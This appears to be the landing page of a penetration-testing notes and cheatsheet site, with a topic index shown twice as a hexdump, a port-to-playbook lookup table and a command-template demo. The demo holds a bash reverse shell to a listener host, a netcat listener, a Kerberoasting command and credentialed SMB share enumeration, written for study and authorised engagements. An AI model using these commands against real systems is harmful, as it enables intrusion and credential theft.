00000000  4c 69 6e 75 78 3a 20 4c  61 74 65 72 61 6c 20 4d  |Linux: Lateral M|
00000010  6f 76 65 6d 65 6e 74 2c  20 50 72 69 76 69 6c 61  |ovement, Privila|
00000020  67 65 45 73 63 20 4c 69  6e 75 78 20 2f 2f 20 57  |geEsc Linux // W|
00000030  69 6e 64 6f 77 73 3a 20  41 63 74 69 76 65 20 44  |indows: Active D|
00000040  69 72 65 63 74 6f 72 79  2c 20 4c 61 74 65 72 61  |irectory, Latera|
00000050  6c 20 4d 6f 76 65 6d 65  6e 74 2c 20 50 72 69 76  |l Movement, Priv|
00000060  69 6c 61 67 65 45 73 63  20 57 69 6e 64 6f 77 73  |ilageEsc Windows|
00000070  20 2f 2f 20 4c 4c 4d 20  53 45 43 55 52 49 54 59  | // LLM SECURITY|
00000080  3a 20 4c 4c 4d 20 26 20  41 49 20 50 65 6e 65 74  |: LLM & AI Penet|
00000090  72 61 74 69 6f 6e 20 54  65 73 74 69 6e 67 20 2f  |ration Testing /|
000000a0  2f 20 4d 6f 62 69 6c 65  20 53 65 63 75 72 69 74  |/ Mobile Securit|
000000b0  79 3a 20 41 6e 64 72 6f  69 64 20 2f 2f 20 43 6c  |y: Android // Cl|
000000c0  6f 75 64 3a 20 41 57 53  2c 20 44 6f 63 6b 65 72  |oud: AWS, Docker|
000000d0  2c 20 4b 75 62 65 72 6e  65 74 65 73 2c 20 45 6e  |, Kubernetes, En|
000000e0  74 72 61 20 49 44 20 28  41 7a 75 72 65 20 41 44  |tra ID (Azure AD|
000000f0  29 20 2f 2f 20 54 6f 6f  6c 73 3a 20 46 69 6c 65  |) // Tools: File|
00000100  20 54 72 61 6e 73 66 65  72 73 2c 20 53 68 65 6c  | Transfers, Shel|
00000110  6c 73 20 2f 20 50 61 79  6c 6f 61 64 73 2c 20 50  |ls / Payloads, P|
00000120  69 76 6f 74 69 6e 67 20  2f 20 46 6f 72 77 61 72  |ivoting / Forwar|
00000130  64 69 6e 67 2c 20 4e 65  74 77 6f 72 6b 20 45 6e  |ding, Network En|
00000140  75 6d 65 72 61 74 69 6f  6e 2c 20 43 72 61 63 6b  |umeration, Crack|
00000150  69 6e 67 20 2f 20 46 75  7a 7a 69 6e 67 20 2f 20  |ing / Fuzzing / |
00000160  42 72 75 74 65 2d 66 6f  72 63 65 20 2f 2f 20 46  |Brute-force // F|
00000170  6f 72 65 6e 73 69 63 3a  20 56 6f 6c 61 74 69 6c  |orensic: Volatil|
00000180  69 74 79 33 2c 20 4c 6f  67 20 41 6e 61 6c 79 73  |ity3, Log Analys|
00000190  69 73 20 2f 2f 20 54 43  50 3a 20 46 54 50 20 7c  |is // TCP: FTP ||
000001a0  20 32 31 2c 20 53 53 48  20 7c 20 32 32 2c 20 53  | 21, SSH | 22, S|
000001b0  4d 54 50 20 7c 20 32 35  2c 20 35 38 37 2c 20 44  |MTP | 25, 587, D|
000001c0  4e 53 20 7c 20 35 33 2c  20 46 69 6e 67 65 72 20  |NS | 53, Finger |
000001d0  7c 20 37 39 2c 20 50 4f  50 33 20 26 20 49 4d 41  || 79, POP3 & IMA|
000001e0  50 20 7c 20 31 31 30 2c  20 31 34 33 2c 20 39 39  |P | 110, 143, 99|
000001f0  33 2c 20 52 50 43 20 26  20 4e 46 53 20 7c 20 31  |3, RPC & NFS | 1|
00000200  31 31 2c 20 32 30 34 39  2c 20 4c 44 41 50 20 7c  |11, 2049, LDAP ||
00000210  20 33 38 39 2c 20 36 33  36 2c 20 48 54 54 50 53  | 389, 636, HTTPS|
00000220  20 7c 20 34 34 33 2c 20  53 4d 42 20 7c 20 34 34  | | 443, SMB | 44|
00000230  35 2c 20 31 33 39 2c 20  53 71 75 69 64 20 50 72  |5, 139, Squid Pr|
00000240  6f 78 79 20 7c 20 33 31  32 38 2c 20 53 75 62 76  |oxy | 3128, Subv|
00000250  65 72 73 69 6f 6e 20 7c  20 33 36 39 30 2c 20 52  |ersion | 3690, R|
00000260  65 64 69 73 20 7c 20 36  33 37 39 2c 20 45 6c 61  |edis | 6379, Ela|
00000270  73 74 69 63 73 65 61 72  63 68 20 7c 20 39 32 30  |sticsearch | 920|
00000280  30 2c 20 4d 65 6d 63 61  63 68 65 64 20 7c 20 31  |0, Memcached | 1|
00000290  31 32 31 31 2c 20 47 6c  75 73 74 65 72 20 7c 20  |1211, Gluster | |
000002a0  32 34 30 30 37 2c 20 34  39 31 35 32 20 2f 2f 20  |24007, 49152 // |
000002b0  55 44 50 3a 20 54 46 54  50 20 7c 20 36 39 2c 20  |UDP: TFTP | 69, |
000002c0  53 4e 4d 50 20 7c 20 31  36 31 2c 20 49 50 73 65  |SNMP | 161, IPse|
000002d0  63 20 49 4b 45 20 7c 20  35 30 30 2c 20 34 35 30  |c IKE | 500, 450|
000002e0  30 2c 20 49 50 4d 49 20  7c 20 36 32 33 2c 20 49  |0, IPMI | 623, I|
000002f0  50 50 20 7c 20 36 33 31  20 2f 2f 20 4f 57 41 53  |PP | 631 // OWAS|
00000300  50 20 31 30 3a 20 4c 46  49 20 2f 20 58 58 45 2f  |P 10: LFI / XXE/|
00000310  58 53 4c 54 2c 20 4e 6f  53 51 4c 20 49 6e 6a 65  |XSLT, NoSQL Inje|
00000320  63 74 69 6f 6e 2c 20 53  51 4c 20 49 6e 6a 65 63  |ction, SQL Injec|
00000330  74 69 6f 6e 2c 20 4e 65  6f 34 6a 20 49 6e 6a 65  |tion, Neo4j Inje|
00000340  63 74 69 6f 6e 2c 20 43  6f 6d 6d 61 6e 64 20 49  |ction, Command I|
00000350  6e 6a 65 63 74 69 6f 6e  2c 20 44 65 73 65 72 69  |njection, Deseri|
00000360  61 6c 69 7a 61 74 69 6f  6e 2c 20 58 53 53 20 2f  |alization, XSS /|
00000370  20 43 53 56 20 2f 20 48  54 4d 4c 69 20 2f 20 28  | CSV / HTMLi / (|
00000380  53 2f 43 29 53 52 46 20  2f 20 53 53 54 49 20 2f  |S/C)SRF / SSTI /|
00000390  2f 20 44 61 74 61 62 61  73 65 3a 20 53 51 4c 69  |/ Database: SQLi|
000003a0  74 65 2c 20 4f 72 61 63  6c 65 20 53 51 4c 20 7c  |te, Oracle SQL ||
000003b0  20 31 35 32 31 2c 20 4d  53 53 51 4c 20 2f 20 4d  | 1521, MSSQL / M|
000003c0  59 53 51 4c 20 2f 20 50  53 51 4c 20 2f 2f 20 42  |YSQL / PSQL // B|
000003d0  69 6e 61 72 79 20 45 78  70 6c 6f 69 74 61 74 69  |inary Exploitati|
000003e0  6f 6e 3a 20 4c 69 6e 75  78 2c 20 57 69 6e 64 6f  |on: Linux, Windo|
000003f0  77 73 20 2f 2f 20 4c 61  6e 67 75 61 67 65 73 3a  |ws // Languages:|

00000000  4c 69 6e 75 78 3a 20 4c  61 74 65 72 61 6c 20 4d  |Linux: Lateral M|
00000010  6f 76 65 6d 65 6e 74 2c  20 50 72 69 76 69 6c 61  |ovement, Privila|
00000020  67 65 45 73 63 20 4c 69  6e 75 78 20 2f 2f 20 57  |geEsc Linux // W|
00000030  69 6e 64 6f 77 73 3a 20  41 63 74 69 76 65 20 44  |indows: Active D|
00000040  69 72 65 63 74 6f 72 79  2c 20 4c 61 74 65 72 61  |irectory, Latera|
00000050  6c 20 4d 6f 76 65 6d 65  6e 74 2c 20 50 72 69 76  |l Movement, Priv|
00000060  69 6c 61 67 65 45 73 63  20 57 69 6e 64 6f 77 73  |ilageEsc Windows|
00000070  20 2f 2f 20 4c 4c 4d 20  53 45 43 55 52 49 54 59  | // LLM SECURITY|
00000080  3a 20 4c 4c 4d 20 26 20  41 49 20 50 65 6e 65 74  |: LLM & AI Penet|
00000090  72 61 74 69 6f 6e 20 54  65 73 74 69 6e 67 20 2f  |ration Testing /|
000000a0  2f 20 4d 6f 62 69 6c 65  20 53 65 63 75 72 69 74  |/ Mobile Securit|
000000b0  79 3a 20 41 6e 64 72 6f  69 64 20 2f 2f 20 43 6c  |y: Android // Cl|
000000c0  6f 75 64 3a 20 41 57 53  2c 20 44 6f 63 6b 65 72  |oud: AWS, Docker|
000000d0  2c 20 4b 75 62 65 72 6e  65 74 65 73 2c 20 45 6e  |, Kubernetes, En|
000000e0  74 72 61 20 49 44 20 28  41 7a 75 72 65 20 41 44  |tra ID (Azure AD|
000000f0  29 20 2f 2f 20 54 6f 6f  6c 73 3a 20 46 69 6c 65  |) // Tools: File|
00000100  20 54 72 61 6e 73 66 65  72 73 2c 20 53 68 65 6c  | Transfers, Shel|
00000110  6c 73 20 2f 20 50 61 79  6c 6f 61 64 73 2c 20 50  |ls / Payloads, P|
00000120  69 76 6f 74 69 6e 67 20  2f 20 46 6f 72 77 61 72  |ivoting / Forwar|
00000130  64 69 6e 67 2c 20 4e 65  74 77 6f 72 6b 20 45 6e  |ding, Network En|
00000140  75 6d 65 72 61 74 69 6f  6e 2c 20 43 72 61 63 6b  |umeration, Crack|
00000150  69 6e 67 20 2f 20 46 75  7a 7a 69 6e 67 20 2f 20  |ing / Fuzzing / |
00000160  42 72 75 74 65 2d 66 6f  72 63 65 20 2f 2f 20 46  |Brute-force // F|
00000170  6f 72 65 6e 73 69 63 3a  20 56 6f 6c 61 74 69 6c  |orensic: Volatil|
00000180  69 74 79 33 2c 20 4c 6f  67 20 41 6e 61 6c 79 73  |ity3, Log Analys|
00000190  69 73 20 2f 2f 20 54 43  50 3a 20 46 54 50 20 7c  |is // TCP: FTP ||
000001a0  20 32 31 2c 20 53 53 48  20 7c 20 32 32 2c 20 53  | 21, SSH | 22, S|
000001b0  4d 54 50 20 7c 20 32 35  2c 20 35 38 37 2c 20 44  |MTP | 25, 587, D|
000001c0  4e 53 20 7c 20 35 33 2c  20 46 69 6e 67 65 72 20  |NS | 53, Finger |
000001d0  7c 20 37 39 2c 20 50 4f  50 33 20 26 20 49 4d 41  || 79, POP3 & IMA|
000001e0  50 20 7c 20 31 31 30 2c  20 31 34 33 2c 20 39 39  |P | 110, 143, 99|
000001f0  33 2c 20 52 50 43 20 26  20 4e 46 53 20 7c 20 31  |3, RPC & NFS | 1|
00000200  31 31 2c 20 32 30 34 39  2c 20 4c 44 41 50 20 7c  |11, 2049, LDAP ||
00000210  20 33 38 39 2c 20 36 33  36 2c 20 48 54 54 50 53  | 389, 636, HTTPS|
00000220  20 7c 20 34 34 33 2c 20  53 4d 42 20 7c 20 34 34  | | 443, SMB | 44|
00000230  35 2c 20 31 33 39 2c 20  53 71 75 69 64 20 50 72  |5, 139, Squid Pr|
00000240  6f 78 79 20 7c 20 33 31  32 38 2c 20 53 75 62 76  |oxy | 3128, Subv|
00000250  65 72 73 69 6f 6e 20 7c  20 33 36 39 30 2c 20 52  |ersion | 3690, R|
00000260  65 64 69 73 20 7c 20 36  33 37 39 2c 20 45 6c 61  |edis | 6379, Ela|
00000270  73 74 69 63 73 65 61 72  63 68 20 7c 20 39 32 30  |sticsearch | 920|
00000280  30 2c 20 4d 65 6d 63 61  63 68 65 64 20 7c 20 31  |0, Memcached | 1|
00000290  31 32 31 31 2c 20 47 6c  75 73 74 65 72 20 7c 20  |1211, Gluster | |
000002a0  32 34 30 30 37 2c 20 34  39 31 35 32 20 2f 2f 20  |24007, 49152 // |
000002b0  55 44 50 3a 20 54 46 54  50 20 7c 20 36 39 2c 20  |UDP: TFTP | 69, |
000002c0  53 4e 4d 50 20 7c 20 31  36 31 2c 20 49 50 73 65  |SNMP | 161, IPse|
000002d0  63 20 49 4b 45 20 7c 20  35 30 30 2c 20 34 35 30  |c IKE | 500, 450|
000002e0  30 2c 20 49 50 4d 49 20  7c 20 36 32 33 2c 20 49  |0, IPMI | 623, I|
000002f0  50 50 20 7c 20 36 33 31  20 2f 2f 20 4f 57 41 53  |PP | 631 // OWAS|
00000300  50 20 31 30 3a 20 4c 46  49 20 2f 20 58 58 45 2f  |P 10: LFI / XXE/|
00000310  58 53 4c 54 2c 20 4e 6f  53 51 4c 20 49 6e 6a 65  |XSLT, NoSQL Inje|
00000320  63 74 69 6f 6e 2c 20 53  51 4c 20 49 6e 6a 65 63  |ction, SQL Injec|
00000330  74 69 6f 6e 2c 20 4e 65  6f 34 6a 20 49 6e 6a 65  |tion, Neo4j Inje|
00000340  63 74 69 6f 6e 2c 20 43  6f 6d 6d 61 6e 64 20 49  |ction, Command I|
00000350  6e 6a 65 63 74 69 6f 6e  2c 20 44 65 73 65 72 69  |njection, Deseri|
00000360  61 6c 69 7a 61 74 69 6f  6e 2c 20 58 53 53 20 2f  |alization, XSS /|
00000370  20 43 53 56 20 2f 20 48  54 4d 4c 69 20 2f 20 28  | CSV / HTMLi / (|
00000380  53 2f 43 29 53 52 46 20  2f 20 53 53 54 49 20 2f  |S/C)SRF / SSTI /|
00000390  2f 20 44 61 74 61 62 61  73 65 3a 20 53 51 4c 69  |/ Database: SQLi|
000003a0  74 65 2c 20 4f 72 61 63  6c 65 20 53 51 4c 20 7c  |te, Oracle SQL ||
000003b0  20 31 35 32 31 2c 20 4d  53 53 51 4c 20 2f 20 4d  | 1521, MSSQL / M|
000003c0  59 53 51 4c 20 2f 20 50  53 51 4c 20 2f 2f 20 42  |YSQL / PSQL // B|
000003d0  69 6e 61 72 79 20 45 78  70 6c 6f 69 74 61 74 69  |inary Exploitati|
000003e0  6f 6e 3a 20 4c 69 6e 75  78 2c 20 57 69 6e 64 6f  |on: Linux, Windo|
000003f0  77 73 20 2f 2f 20 4c 61  6e 67 75 61 67 65 73 3a  |ws // Languages:|

// Pentest notes and cheatsheets

The notebookbehind the shell.

Commands, payloads and checklists I reach for on engagements and Hack The Box. 75 pages and 907 copy-ready blocks. Search it, set your target once, then copy and go.

01Index

Sixteen sections,
one muscle memory.

02Port lookup

Open port?
Open playbook.

$ nmap -sV --open notes.h4rithdgrep

PortStateServicePlaybook

21/tcpopenftpFTP →22/tcpopensshSSH →25/tcpopensmtpSMTP →53/tcpopendnsDNS →69/udpopentftpTFTP →79/tcpopenfingerFinger →110/tcpopenpop3/imapPOP3 & IMAP →111/tcpopenrpc/nfsRPC & NFS →139/tcpopensmbSMB →143/tcpopenpop3/imapPOP3 & IMAP →161/udpopensnmpSNMP →389/tcpopenldapLDAP →443/tcpopenhttpsHTTPS →445/tcpopensmbSMB →500/udpopenipsec-ikeIPsec IKE →587/tcpopensmtpSMTP →623/udpopenipmiIPMI →631/udpopenippIPP →636/tcpopenldapLDAP →993/tcpopenpop3/imapPOP3 & IMAP →1521/tcpopenoracle-sqlOracle SQL →2049/tcpopenrpc/nfsRPC & NFS →3128/tcpopensquid-proxySquid Proxy →3690/tcpopensubversionSubversion →4500/udpopenipsec-ikeIPsec IKE →6379/tcpopenredisRedis →9200/tcpopenelasticsearchElasticsearch →11211/tcpopenmemcachedMemcached →24007/tcpopenglusterGluster →49152/tcpopenglusterGluster →

Nmap done: 30 ports with playbooks on notes.h4rithd

03Target variables

Set the target once.
Every command follows.

Whether a note says <ip>, <IP>, $IP or <RemoteIP>, it is shown as one placeholder: <IP>. Fill it in once and every command on every page is rewritten in place, including what the copy button copies.

Values never leave your browser.

alt T from anywhere

bash8 lines

# recon
nmap -sC -sV -p- --min-rate 5000 <IP> -oA scans/full
nxc smb <IP> -u '<USER>' -p '<PASS>' --shares
GetUserSPNs.py <DOMAIN>/<USER>:'<PASS>' -dc-ip <IP> -request

# catch the shell
rlwrap nc -lvnp <LPORT>
bash -c 'bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1'